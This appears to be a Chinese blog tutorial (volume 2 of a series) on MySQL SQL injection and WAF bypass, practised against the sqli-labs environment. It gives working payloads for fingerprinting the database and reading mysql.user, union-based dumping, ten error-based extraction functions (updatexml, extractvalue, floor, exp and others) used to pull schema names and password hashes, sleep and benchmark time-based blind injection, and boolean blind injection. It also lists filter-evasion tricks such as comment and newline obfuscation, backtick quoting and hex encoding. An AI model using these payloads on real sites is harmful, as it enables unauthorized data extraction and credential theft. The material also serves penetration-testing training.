💉 SQLi_BYPASS_for_mysql Vol.2

  • Naykcin
  • 20 Minutes
  • January 7, 2020

💉 SQLi_BYPASS_for_mysql Vol.2

目录

🎙️ 0x00 前言

接着上一篇继续。

0x15 数据库情报收集

数据库版本与路径信息收集

收集数据库的版本。

mysql> select version();

mysql> select @@version;

/*!版本号*/
/*!*/ 意为在 xxx 版本之上进行

select * from admin union select 1,version(),3;

select * from admin union select 1,@@version,3;

select * from admin union select 1,/*!40000 user()*/,3;

Screenshot 2020-02-15 下午5.01.05

路径一般用 @@datadir,然后可以反猜网站的路径。操作系统可以用 @@version_compile_os 来猜解。

Screenshot 2020-02-15 下午5.04.44

用户、连接信息

system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名

select * from admin union select system_user(),current_user(),session_user();

Screenshot 2020-02-15 下午5.09.14

读取 host 信息及 user 信息

select * from admin where id=1 union select 1,host,user from mysql.user;

Screenshot 2020-02-15 下午5.14.33

这里用到了上一篇中讲到的 mysql 库,其中包含了 user/host/password 等信息。

⚠️ 注意

通过 host 登录这个信息还可以判断该站是否是站库分离等等。

0x16 注入 BYPASS 入门

简单注入

针对 sqli-labs lesson1 来练习。

一开始的套路其实都差不多,先尝试单引号 ',反斜杠 \ 等符号报错,然后 and 1=1/and '1'='1、and 1=2/and '1'='2,看回显是否有报错。

Screenshot 2020-02-16 下午6.01.01

我们先来看报错:

You have an error in your SQL syntax; check the  manual that corresponds to your MySQL server version for the right  syntax to use near ''1'' LIMIT 0,1' at line 1

其中 ''1'' LIMIT 0,1' 表示最外层出错的语句,所以我们应该看的是 '1'' LIMIT 0,1,说明单引号没有闭合造成了出错,同时我们也知道了这条语句后面还有个 limit 0,1 表示从第 0 行开始只显示一行。

从得到的信息我们可以反推大概的语句可能是:

select xx from xx where xx='?id' limit 0,1

接着 order by 判断列数,因为 order by 这个语句本来就是依照第几列来排序,如果超出了列数自然也就会报错,得到列数为 3。

判断出列数之后就直接上 union select 联合查询。

?id=-1' union select 1,database(),user() limit 0,1 -- +

Screenshot 2020-02-16 下午6.11.52

然后按之前的步骤进行情报收集、dump 数据。

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 limit 0,1 -- +

Screenshot 2020-02-16 下午6.16.31

group_concat() 函数使查询的内容以字符串返回,0x7c hex 解码得到 |,路径位置 hex 编码避免单引号。

🚨 BYPASS
  1. 如果 group_concat() 函数被过滤,我们可以用其他函数来代替,可以查阅 mysql 函数表。

  2. 通过 limit 0,1 来控制前端显示的数据,如果目标过滤了逗号,可以用 limit 1 offset 0 来控制。或者 join 分页。

  3. 如果想要爆当前数据库的表,也可以构造成 table_schema=database()。避免单引号推荐使用 hex 编码。

  4. 如果 information_schema.schemata 被拦截了,可以用别的方式绕过:

    `information_schema`.`schemata `  
    information_schema/**/.schemata
    information_schema/*!*/.schemata
    information_schema%0a.schemata
  5. 如果 users 表被拦截,同理也用这个方法绕过:

    security.`users`

0x17 报错注入

在不能使用 union select 联合查询的时候,报错注入是非常重要的。

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);


2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));


3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));


4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));


5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));


6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));


7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));


8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));


9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

每个报错语句都有它本身的报错原理。

比如 exp() 报错的原理,exp() 是一个数学函数,取 e 的 x 次方,当我们输入的值大于 709 就会报错,然后 ~ 取反它的值总会大于 709 所以报错。

利用报错语句来注入,这里利用 updatexml() 来演示。

updatexml (XML_document, XPath_string, new_value); 
XML_document: 是String格式,为XML文档对象的名称,文中为Doc
XPath_string : Xpath
new_value :String格式,替换查找到的符合条件的数据

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

其中关键点是 XPath_string,因为我们传入的不是 XPath_string。为什么要用 concat() 函数呢,因为它是一个连接函数,如果不用的话:(updatexml(1,(select user()),1)) 这样也可以,但是需要字符中有特殊字符才会报错,同时它会被中间的特殊字符截断,所以需要用到 concat() 函数用特殊字符连接起来。

// 猜解库
?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +

// 猜解表
?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) FROM information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1) -- +

// 猜解列
?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) FROM information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),1) -- +

// 猜解数据
?id=1' and updatexml(1,(select concat(0x7e, (password),0x7e) FROM security.users where username=0x44756d62 limit 0,1),1) -- +

Screenshot 2020-02-16 下午7.02.15

猜解库名

Screenshot 2020-02-16 下午7.07.54

猜解表名

Screenshot 2020-02-16 下午7.10.21

猜解列名

Screenshot 2020-02-16 下午7.16.15

爆破数据

在报错中直接使用 mysql 最基本的查表就可以了,也可以把 concat 放在外面:updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

⚠️ 值得注意的是加了连接字符 md5 只能爆出 31 位,这里可以用分割函数分割出来。

http://172.16.232.140/sqli-labs/Less-1/?id=1' and updatexml(1,concat(0x7e, substr((select md5(password) from users limit 1,1),1,16),0x7e),1) -- +

这里利用 md5 加密来分割。

0x18 盲注

盲注这里归纳为时间盲注和布尔盲注。

盲注的本质是猜解:所谓「盲」就是在看不到返回数据的情况下通过「感觉」来判断,那么怎么感觉呢?就是「差异」。包括运行时间的差异和页面返回结果的差异分为时间盲注和布尔盲注。

在如今的真实环境中盲注的情况比较多,但是时间盲注太费时间,同时对网络的要求比较高。二分、dnslog 等等都可以加快注入的过程。

⚠️ 盲注中需要注意的问题

  1. 盲注中使用 and 需要确定查询的值是存在的。
  2. 在返回多组数据的情况下,延时不再是单纯的 sleep(5),程序将根据返回的数据条数来反复执行。
  3. 尽量搜索存在且数目较少的关键词。
  4. 尽量不要使用 or。

时间盲注

盲注是通过返回数据的时间来判断 payload 中的内容是否正确。

时间盲注也叫延时注入,一般用到函数 sleep() BENCHMARK()函数。还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)。

一般时间盲注还需要使用条件判断函数。

建议把分割的函数编码一下,这样可以避免使用引号,常用到的有 ascii() hex()等等。

benchmark() 的作用是来测试一些函数的执行速度。benchmark() 中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。

从最简单的盲注开始:

sleep()
// 判断当前用户的用户名,从第一位开始
mysql> select * from users where id=1 and if((substr((select user()),1,1)='r'),sleep(5),id=1);

Screenshot 2020-02-16 下午9.42.58

benchmark()
// 判断当前用户的用户名前两位
mysql> select * from users where id=1 and if((substr((select user()),1,2)='ro'),benchmark(20000000,md5('a')),id=1);

Screenshot 2020-02-16 下午9.54.09

case when then else end
// 判断当前用户的用户名
mysql> select * from users where id=1 and case when (substr((select user()),1,4)='root') then sleep(5) else id=1 end;

Screenshot 2020-02-16 下午10.03.30

不推荐使用笛卡尔积,当数据过多时会造成 DDOS。

🚨 BYPASS

必须要使用到 or 的延时注入不如试试子查询,只延时 5s。

?id=1' or if((substr((select user()),1,4)='root'),(select sleep(5) from information_schema.schemata as b),1); -- +

布尔盲注

盲注的思路很多,比如正则匹配、比较函数、运算符等等。

?id=1' and payload -- +

布尔盲注的原理是如果 and 两边都为真,则正常返回数据,如果其中一边为假,则查询不到数据。

select * from users where id=1 and 0;

select * from users where id=1 and 1;

Screenshot 2020-02-16 下午11.26.55

参考:https://www.anquanke.com/post/id/170626

字符串截取对比

类似的函数还有很多。

?id=1' and substr((select user()),1,4)='root' -- +

Screenshot 2020-02-16 下午10.16.33

返回正常,用户名为 root

Screenshot 2020-02-16 下午10.17.13

没有回显,用户名不是 user
ifnull() 函数

ifnull() 函数有两个参数,该函数判断第一个表达式是否为 NULL(0),如果为 NULL(0),则返回第二个参数的值,否则返回第一个参数的值。

⚠️ 注意

但是这里实测发现,ifnull() 函数判断第一个值,如果为真则返回 1,否则返回 0,不会返回第二个值,这里记录一下。

Screenshot 2020-02-16 下午11.23.33

?id=1' and ifnull((substr((select user()),1,4)='root'),0) -- +

Screenshot 2020-02-16 下午10.40.21

比较函数 strcmp()

strcmp() 函数有两个参数,STRCMP(expr1,expr2),如果两个字符串相同,则返回 0,如果第一个参数根据当前排序顺序小于第二个参数,则返回 -1,否则返回 1。

// 实例
SELECT strcmp(123, 123); # 0
SELECT strcmp(123, 122); # 1
SELECT strcmp(123, 124); # -1

SELECT strcmp('abc', 'abc'); # 0
SELECT strcmp('abc', 'abb'); # 1
SELECT strcmp('abc', 'abd'); # -1
// 如果用户名是root,则返回1,1大于0返回1,and两边为1,正常返回数据
?id=1 and strcmp((substr((select user()),1,4)='root'),0) -- +

// 如果用户名不是toor,则返回0,0等于0返回0,查询不到数据
?id=1 and strcmp((substr((select users()),1,4)='toor'),0) -- +

Screenshot 2020-02-16 下午11.31.21

Screenshot 2020-02-16 下午11.31.34

Hard work and no play makes Nick a dull boy.